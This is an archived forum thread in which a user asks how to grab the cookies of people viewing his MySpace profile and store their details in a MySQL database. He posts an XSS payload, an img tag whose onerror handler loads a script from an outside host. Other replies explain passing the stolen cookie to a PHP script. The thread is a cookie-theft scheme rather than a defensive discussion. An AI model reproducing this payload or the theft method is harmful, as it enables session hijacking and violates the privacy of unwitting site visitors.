Jump to content

Archived

This topic is now archived and is closed to further replies.

chasebadkids

Php, Mysql and Javascript

Recommended Posts

Okay guys so Ive got a javascript file that works on myspace and I want to figure out how to grab the viewers cookie and send its to a database and gets the users information that just viewed my profile and will output it for a user to view,

how would I go about doing this?

this is a working example

[code]<img src="http://gif" z="<br />" onerror="var s=document.createElement('script');s.src='http://nightstarproductions.com/sqltrack.js';document.getElementsByTagName('head')[0].appendChild(s);"><br>
</td>[/code]


im basically looking on how i would setup something just like that.  any and all help is appreciated

Share this post


Link to post
Share on other sites
That's going to be tricky with JS alone, since establishing an ODBC connection requires privileges...

Share this post


Link to post
Share on other sites
what do you mean by that?



How do you think they went about doing it, i know he said he uses mysql and the javascript file.  and in that javascript file it grabs information from the site, and sends it to the mysql, i just dont know how to setup the mysql that would grab the information correctly

Share this post


Link to post
Share on other sites
Yes, but if you take a look at the JS, he's simply passing some parameters to a PHP script for processing.

Share this post


Link to post
Share on other sites
It means that you can use JS to pull the cookie, pass this info to a PHP script, and then do whatever you want to it.

Share this post


Link to post
Share on other sites

×

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.